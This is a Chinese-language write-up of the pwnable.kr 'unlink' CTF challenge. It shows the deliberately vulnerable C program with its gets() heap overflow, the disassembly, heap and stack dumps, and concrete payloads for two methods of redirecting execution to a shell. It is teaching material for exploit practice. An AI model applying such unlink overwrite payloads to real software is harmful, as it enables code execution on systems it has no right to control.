全面剖析Pwnable.kr unlink

来源:互联网 发布:东方娱乐有什么软件 编辑:程序博客网 时间:2024/06/07 18:22

   最近一直在学习堆方面的知识,unlink是CTF中考察堆方面知识的重点.于是就拿一道简单的例题来剖析一下.堆方面的PWN对内存的分配和回收机制要求比较高,也是CTF中压轴题.

目录:

  1. 知识简介
  2. 漏洞分析
  3. 漏洞利用
  4. Write Up及相关链接

知识简介:

  1. 为了节约内存,被使用之后的chunk和未使用的chunk的内存布局不相同,但是都用了相同的大小,于是free chunk具有更多的数据。
  2. glibc的堆空间控制是用链表处理的,其中除了fastbin(bin可以认为是链表的头结点指针,用来标志不同的链表),都使用了双向链表的结构,即使用fd和bk指针指向前者和后者,这恰巧是free chunk才有的额外数据。
  3. 在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是P->fd->bk = P->bk; P->bk->fd = P->fd;,而在做这个操作之前会有一个简单的检查,即查看P->fd->bk == P && P->bk->fd= == P,但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了

程序分析

#include <stdio.h>#include <stdlib.h>#include <string.h>typedef struct tagOBJ{struct tagOBJ* fd;struct tagOBJ* bk;char buf[8];}OBJ;void shell()//shell函数,shell_addr = 0x080484eb{system("/bin/sh");}void unlink(OBJ* P)   //漏洞函数{OBJ* BK;OBJ* FD;BK=P->bk;FD=P->fd;FD->bk=BK;          //方法一BK->fd=FD;          //方法二     }int main(int argc, char* argv[]){malloc(1024);OBJ* A = (OBJ*)malloc(sizeof(OBJ));OBJ* B = (OBJ*)malloc(sizeof(OBJ));OBJ* C = (OBJ*)malloc(sizeof(OBJ));// double linked list: A <-> B <-> CA->fd = B;B->bk = A;B->fd = C;C->bk = B;printf("here is stack address leak: %p\n", &A);printf("here is heap address leak: %p\n", A);printf("now that you have leaks, get shell!\n");// heap overflow!gets(A->buf);         //gets函数不检查输入长度,因此我们可以对结构A进行溢出// exploit this unlink!unlink(B);return 0;}

漏洞利用

总体思想:main函数结束时,跳入shell函数.
tip:程序跑起来后会给出两个地址,一个是heap地址,另一个就是stack地址.heap地址对应的是malloc分配的地址,stack对应着A的存储的位置.举个简单的例子就是,A是一个指针(提到指针,有些人会觉得头大),heap是A指向的内容(heap地址),stack地址就是存储A指针的地址.

 80485f2:   e8 0d ff ff ff          call   8048504 <unlink> 80485f7:   83 c4 10                add    $0x10,%esp 80485fa:   b8 00 00 00 00          mov    $0x0,%eax ``` 80485ff:   8b 4d fc                mov    -0x4(%ebp),%ecx 8048602:   c9                      leave   8048603:   8d 61 fc                lea    -0x4(%ecx),%esp 8048606:   c3                      ret  ```

从这段汇编代码中我们可以发现,能够修改的

方法一:修改ECX

heap_addr : 程序给出的堆地址stack_addr: 程序给出栈地址shell_addr :shell的地址0x080484ebEBP = stack_addr + 0x14

讲解:输入过多的数据,使其覆盖到B的FD和BK两个指针.修改[EBP-0x4]为heap+0x12.
unlink函数执行之前:

栈的内存分布情况0xffffcf14: 0x0804b410  0x0804b440  0x0804b428  0xf7fa93dc0xffffcf24: 0xffffcf40  0x00000000  0xf7e11637  0xf7fa90000xffffcf34: 0xf7fa9000  0x00000000  0xf7e11637  0x00000001A:0x0804b410    B:0x0804b440    C:0x0804b428    EBP:0xffffcf28堆的内存分布情况0x804b410:  0x0804b428  0x00000000  0x080484eb  0x414141410x804b420:  0x41414141  0x41414141  0x0804b41c  0xffffcf240x804b430:  0x00000000  0x00000000  0x00000000  0x000000190x804b440:  0x00000000  0x0804b428  0x00000000  0x00000000

unlink执行之后

栈的内存分布情况0xffffcf14: 0x0804b410  0x0804b440  0x0804b428  0xf7fa93dc0xffffcf24: 0x0804b41c  0x00000000  0xf7e11637  0xf7fa90000xffffcf34: 0xf7fa9000  0x00000000  0xf7e11637  0x000000010xffffcf44: 0xffffcfd4  0xffffcfdc  0x00000000  0x00000000堆的内存分布情况0x804b410:  0x0804b428  0x00000000  0x080484eb  0x323232320x804b420:  0xffffcf24  0x34343434  0x0804b41c  0xffffcf240x804b430:  0x00000000  0x00000000  0x00000000  0x000000190x804b440:  0x00000000  0x0804b428  0x00000000  0x00000000

对着汇编语言进行一步一步分析:

 80485ff:   8b 4d fc      mov    -0x4(%ebp),%ecx ;ecx = [ebp-0x4]=0x0804b41c 8048602:   c9            leave   8048603:   8d 61 fc      lea    -0x4(%ecx),%esp ;esp = ecx-0x4 =0x0804b418 8048606:   c3            ret ;esp处有我们输入的shell的地址,成功跳转.

为什么会这样呢?
原因出现在我们为B设置的两个指针,FD和BK.前面提到EBP-0x4=stack + 0x10,我们A的buf地址为Heap+0x8,令ESP=Heap+0x8,则ECX = ESP + 0x4(前面汇编代码得)

FD->bk=BK;----->[B->fd]=[stack+0x10]=BK=B->bk=heap_addr + 0xCBK->fd=FD;(方法二要用到)

这就将EBP-0x4处的内容写为了Heap+0xC,后面的事情就和前面汇编语言分析的一样了.

方法二:修改EBP

payload = p32(shell)+p32(heap+12)+"A"*8+p32(stack-0x20)+p32(heap+0x10)
我简述一下区别:方法二实在unlink函数中红将EBP修改为Heap+0x10.

堆内存分布情况:0x804b410:  0x0804b428  0x00000000  0x080484eb  0x0804b41c0x804b420:  0x41414141  0xffffcef4  0xffffcef4  0x0804b4240x804b430:  0x00000000  0x00000000  0x00000000  0x000000190x804b440:  0x00000000  0x0804b428  0x00000000  0x00000000

对应汇编代码带数据的分析:

 EBP=0x804b424 80485ff:   8b 4d fc      mov    -0x4(%ebp),%ecx ;ecx = [ebp-0x4]=[0x804b424-0x4]=0x0804b41c 8048602:   c9            leave   8048603:   8d 61 fc      lea    -0x4(%ecx),%esp ;esp = ecx-0x4 =0x0804b418 8048606:   c3            ret ;esp处有我们输入的shell的地址,成功跳转.

这个就和栈那边没太大关系了.
为什么会这样呢?

FD->bk=BK;  //方法一BK->fd=FD;  //方法二 [B->bk]=[stack-0x20]=EBP=B->FD=heap+0x10  

修改成功

其他问题:

为什么不直接修改main函数的返回地址为shell地址呢?
答:如何可以的修改的话,对应的

payload = p32(shell_addr)+'A'*12+p32(shell_addr)+p32(stack_addr+0x10) 或payload = p32(shell_addr)+'A'*12+p32(stack_addr+0x10)+p32(shell_addr)

由于unlinkFD->bk=BK;BK->fd=FD;,当你将返回值修改之前,或之后,程序会将shell对应的地址破坏掉,造成即使修改成了shell的地址,也不会有shell出现.

相关Write Up及资料

http://weaponx.site/2017/02/21/unlink-Writeup-pwnable-kr/
https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/

原创粉丝点击